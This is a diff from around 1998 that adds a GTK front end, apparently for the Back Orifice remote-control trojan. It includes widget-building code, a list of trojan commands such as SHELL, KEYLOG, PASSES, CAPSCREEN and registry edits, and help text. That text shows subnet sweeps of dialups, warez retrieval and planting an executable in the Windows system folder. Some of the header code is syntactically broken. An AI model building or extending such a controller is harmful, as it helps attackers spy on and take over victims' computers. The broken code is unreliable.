+ gtk_clist_column_titles_show(GTK_CLIST(probeList));
+ gtk_clist_set_column_width(GTK_CLIST(probeList), 175, 0 );
+ gtk_widget_set_usize (GTK_WIDGET (probeList), 175, 0);
+ pidx = 0;
+ while(probeArray[pidx].Name[0] != NULL) {
+ gtk_clist_append( (GtkCList*) probeList, probeArray[pidx].Name);
+ pidx++;
+ }
+ gtk_signal_connect (GTK_OBJECT(probeList), "select_row",
+ GTK_SIGNAL_FUNC(select_probe), NULL);
+#if GTK_MINOR_VERSION >= 1
+ gtk_table_attach( GTK_TABLE(kitchenTable), probeScroll, 0, 1, 0, 3,
+ GTK_FILL, GTK_FILL | GTK_EXPAND, 0, 0);
+ gtk_scrolled_window_add_with_viewport( GTK_SCROLLED_WINDOW (probeScroll), GTK_WIDGET (probeList) );
+ gtk_widget_set_usize (GTK_WIDGET (probeScroll), 175, 0);
+ gtk_widget_show(probeScroll);
+#else
+ gtk_table_attach( GTK_TABLE(kitchenTable), probeList, 0, 1, 0, 3,
+ GTK_FILL, GTK_FILL | GTK_EXPAND, 0, 0);
+#endif
+ gtk_widget_show(probeList);
+
+ // Help and Exe buttons
+ hbox = gtk_hbox_new(TRUE, 2);
+ gtk_table_attach( GTK_TABLE(kitchenTable), hbox, 0, 1, 3, 4,
+ GTK_FILL | GTK_SHRINK, GTK_SHRINK, 3, 3);
+ gtk_widget_show (hbox);
+ helpBUTTon = gtk_button_new_with_label("Help");
+ gtk_signal_connect (GTK_OBJECT (helpBUTTon), "clicked",
+ GTK_SIGNAL_FUNC (helpDialog), currentProbe);
+ gtk_box_pack_start(GTK_BOX(hbox), helpBUTTon, TRUE, TRUE, 0);
+ gtk_widget_show (helpBUTTon);
+
+ hbox = gtk_hbox_new(TRUE, 2);
+ gtk_table_attach( GTK_TABLE(kitchenTable), hbox, 1, 2, 3, 4,
+ GTK_FILL | GTK_EXPAND | GTK_SHRINK, GTK_SHRINK, 3, 3);
+ gtk_widget_show (hbox);
+ exeBUTTon = gtk_button_new_with_label("Execute");
+ gtk_signal_connect (GTK_OBJECT (exeBUTTon), "clicked",
+ GTK_SIGNAL_FUNC (execute), currentProbe);
+ gtk_box_pack_start(GTK_BOX(hbox), exeBUTTon, TRUE, TRUE, 0);
+ gtk_widget_show (exeBUTTon);
+
+ // Text area, not editable, but our returned info goes here.
+ hbox = gtk_hbox_new(FALSE, 2);
+ gtk_table_attach( GTK_TABLE(kitchenTable), hbox, 1, 3, 0, 1,
+ GTK_FILL | GTK_EXPAND | GTK_SHRINK, GTK_FILL | GTK_EXPAND, 1, 1);
+ gtk_widget_show (hbox);
+ returnScreen = gtk_text_new(NULL, NULL);
+ gtk_text_set_editable(GTK_TEXT(returnScreen), FALSE);
+ gtk_text_set_word_wrap(GTK_TEXT(returnScreen), FALSE);
+ gtk_box_pack_start(GTK_BOX(hbox), returnScreen, TRUE, TRUE, 0);
+ gtk_widget_show (returnScreen);
+ rsScroll = gtk_vscrollbar_new (GTK_TEXT(returnScreen)->vadj);
+ gtk_box_pack_start(GTK_BOX(hbox), rsScroll, FALSE, FALSE, 0);
+ gtk_widget_show (rsScroll);
+
+
+ // Use vbox and label for text entries
+ vbox = gtk_vbox_new(FALSE, 2);
+ gtk_table_attach( GTK_TABLE(kitchenTable), vbox, 1, 2, 1, 2,
+ GTK_FILL | GTK_EXPAND | GTK_SHRINK, GTK_SHRINK, 3, 3);
+ gtk_widget_show (vbox);
+ arg1Label = gtk_label_new("Unused:");
+ gtk_misc_set_alignment (GTK_MISC (arg1Label), 0, 0);
+ gtk_box_pack_start(GTK_BOX(vbox), arg1Label, FALSE, FALSE, 0);
+ gtk_widget_show (arg1Label);
+ arg1Text = gtk_entry_new_with_max_length(ARGSIZE);
+ gtk_widget_set_usize(GTK_WIDGET(arg1Text), 100, 0);
+ gtk_widget_set_name(GTK_WIDGET(arg1Text), "arg1Text");
+ gtk_box_pack_start(GTK_BOX(vbox), arg1Text, FALSE, FALSE, 0);
+ gtk_widget_show (arg1Text);
+
+ vbox = gtk_vbox_new(FALSE, 2);
+ gtk_table_attach( GTK_TABLE(kitchenTable), vbox, 2, 3, 1, 2,
+ GTK_FILL | GTK_EXPAND | GTK_SHRINK, GTK_SHRINK, 3, 3);
+ gtk_widget_show (vbox);
+ arg2Label = gtk_label_new("Unused:");
+ gtk_misc_set_alignment (GTK_MISC (arg2Label), 0, 0);
+ gtk_box_pack_start(GTK_BOX(vbox), arg2Label, FALSE, FALSE, 0);
+ gtk_widget_show (arg2Label);
+ arg2Text = gtk_entry_new_with_max_length(ARGSIZE);
+ gtk_widget_set_usize(GTK_WIDGET(arg2Text), 100, 0);
+ gtk_widget_set_name(GTK_WIDGET(arg2Text), "arg2Text");
+ gtk_box_pack_start(GTK_BOX(vbox), arg2Text, FALSE, FALSE, 0);
+ gtk_widget_show (arg2Text);
+
+
+ // Text entries for Host and Port
+ vbox = gtk_vbox_new(FALSE, 2);
+ gtk_table_attach( GTK_TABLE(kitchenTable), vbox, 1, 2, 2, 3,
+ GTK_FILL | GTK_EXPAND | GTK_SHRINK, GTK_SHRINK, 3, 3);
+ gtk_widget_show (vbox);
+ hostLabel = gtk_label_new("Host:");
+ gtk_misc_set_alignment (GTK_MISC (hostLabel), 0, 0);
+ gtk_box_pack_start(GTK_BOX(vbox), hostLabel, FALSE, FALSE, 0);
+ gtk_widget_show (hostLabel);
+ hostText = gtk_entry_new_with_max_length(ARGSIZE);
+ gtk_widget_set_usize(GTK_WIDGET(hostText), 100, 0);
+ gtk_widget_set_name(GTK_WIDGET(hostText), "hostText");
+ gtk_entry_set_text(GTK_ENTRY(hostText), "127.0.0.1");
+ strcpy(oldhost, "127.0.0.1");
+ gtk_box_pack_start(GTK_BOX(vbox), hostText, FALSE, FALSE, 0);
+ gtk_widget_show (hostText);
+
+ vbox = gtk_vbox_new(FALSE, 2);
+ gtk_table_attach( GTK_TABLE(kitchenTable), vbox, 2, 3, 2, 3,
+ GTK_FILL | GTK_EXPAND | GTK_SHRINK, GTK_SHRINK, 3, 3);
+ gtk_widget_show (vbox);
+ portLabel = gtk_label_new("Port:");
+ gtk_misc_set_alignment (GTK_MISC (portLabel), 0, 0);
+ gtk_box_pack_start(GTK_BOX(vbox), portLabel, FALSE, FALSE, 0);
+ gtk_widget_show (portLabel);
+ portText = gtk_entry_new_with_max_length(5);
+ gtk_widget_set_usize(GTK_WIDGET(portText), 100, 0);
+ gtk_widget_set_name(GTK_WIDGET(portText), "portText");
+ sprintf(buff, "%i", PORT);
+ gtk_entry_set_text(GTK_ENTRY(portText), buff);
+ strcpy(oldport, buff);
+ gtk_box_pack_start(GTK_BOX(vbox), portText, FALSE, FALSE, 0);
+ gtk_widget_show (portText);
+
+ vbox = gtk_vbox_new(FALSE, 2);
+ gtk_table_attach( GTK_TABLE(kitchenTable), vbox, 2, 3, 3, 4,
+ GTK_FILL | GTK_EXPAND | GTK_SHRINK, GTK_SHRINK, 3, 3);
+ gtk_widget_show (vbox);
+ passLabel = gtk_label_new("Password:");
+ gtk_misc_set_alignment (GTK_MISC (passLabel), 0, 0);
+ gtk_box_pack_start(GTK_BOX(vbox), passLabel, FALSE, FALSE, 0);
+ gtk_widget_show (passLabel);
+ passText = gtk_entry_new_with_max_length(ARGSIZE);
+ gtk_widget_set_usize(GTK_WIDGET(passText), 100, 0);
+ gtk_widget_set_name(GTK_WIDGET(passText), "passText");
+ gtk_signal_connect (GTK_OBJECT (passText), "changed",
+ GTK_SIGNAL_FUNC (update_value),
+ gtk_entry_get_text( GTK_ENTRY(passText) ) );
+ gtk_box_pack_start(GTK_BOX(vbox), passText, FALSE, FALSE, 0);
+ gtk_widget_show (passText);
+
+ // Show the window and start running
+ gtk_widget_show (window);
+ gtk_main();
+
+ return(0);
+
+}
+
diff -ruN bo/gspot.h bo_gspot/gspot.h
--- bo/gspot.h Wed Dec 31 16:00:00 1969
+++ bo_gspot/gspot.h Thu Dec 24 17:16:12 1998
@@ -0,0 +1,73 @@
+#define PROBE_STR_MAX 30
+
+struct probeListItem {
+ gchar Name[PROBE_STR_MAX + 1];
+ gchar firstArg[PROBE_STR_MAX + 1[];
+ gchar secondArg[[PROBE_STR_MAX + 1];
+}
+
+ gchar *probes[63][1] = { "HOST",
+ "QUIT",
+ "PING",
+ "PINGLIST",
+ "SWEEP",
+ "SWEEPLIST",
+ "SHELL",
+ "STATUS",
+ "PASSWD",
+ "DIR",
+ "CD",
+ "DEL",
+ "GET",
+ "PUT",
+ "COPY",
+ "FIND",
+ "FREEZE",
+ "MELT",
+ "VIEW",
+ "REN",
+ "MD",
+ "RD",
+ "INFO",
+ "PASSES",
+ "DIALOG",
+ "KEYLOG",
+ "REBOOT",
+ "NETVIEW",
+ "NETCONNECT",
+ "NETDISCONNECT",
+ "NETLIST",
+ "RESOLVE",
+ "SHARELIST",
+ "SHAREADD",
+ "SHAREDEL",
+ "PROCLIST",
+ "PROCKILL",
+ "PROCSPAWN",
+ "LISTCAPS",
+ "CAPSCREEN",
+ "CAPFRAME",
+ "CAPAVI",
+ "SOUND",
+ "REDIRLIST",
+ "REDIRDEL",
+ "REDIRADD",
+ "APPADD",
+ "APPDEL",
+ "APPLIST",
+ "REGMAKEKEY",
+ "REGDELKEY",
+ "REGLISTKEYS",
+ "REGLISTVALS",
+ "REGDELVAL",
+ "REGSETVAL",
+ "HTTPON",
+ "HTTPOFF",
+ "TCPSEND",
+ "TCPRECV",
+ "LOCKUP",
+ "PLUGINEXEC",
+ "PLUGINKILL",
+ "PLUGINLIST"};
+
+
diff -ruN bo/helpstrings.h bo_gspot/helpstrings.h
--- bo/helpstrings.h Wed Aug 5 21:35:31 1998
+++ bo_gspot/helpstrings.h Wed Dec 23 23:50:09 1998
@@ -11,7 +11,7 @@
char pinglisthelp[] = "\
PINGLIST - Pings a lits of ip addresses in a text file\n\
usage: pinglist localfilename\n\
- example: pinglist C:\bo\\bohosts";
+ example: pinglist /home/uname/bo/bohosts";
char sweephelp[] = "\
SWEEP - Sweeps a subnet with ping packets\n\
@@ -21,7 +21,7 @@
char sweeplisthelp[] = "\
SWEEPLIST - Sweeps a list of subnets in a text file\n\
usage: sweeplist localfilename\n\
- example: sweeplist c:\\bo\\dialups";
+ example: sweeplist /home/uname/bo/dialups";
char shellhelp[] = "SHELL - Opens a command shell";
@@ -49,13 +49,13 @@
char gethelp[] = "\
GET - Transfers a file from remote host to the local computer\n\
usage: get remotefilename localfilename\n\
- example: get c:\\warez\\photoshop.zip c:\\files\\photoshop5.zip\n\
+ example: get c:\\warez\\photoshop.zip /home/uname/files/photoshop5.zip\n\
note: If localfilename is not provided file is stored in current local directory";
char puthelp[] = "\
PUT - Transfers a file from local computer to the remote host\n\
usage: put localfilename remotefilename\n\
- example: put c:\\bo\\boupdate.exe c:\\windows\\system\\b.exe\n\
+ example: put /home/uname/bo/boupdate.exe c:\\windows\\system\\b.exe\n\
note: If remotefilename is not provided file is stored in current remote directory";
char copyhelp[] = "\
Comments
No comments yet, be the first!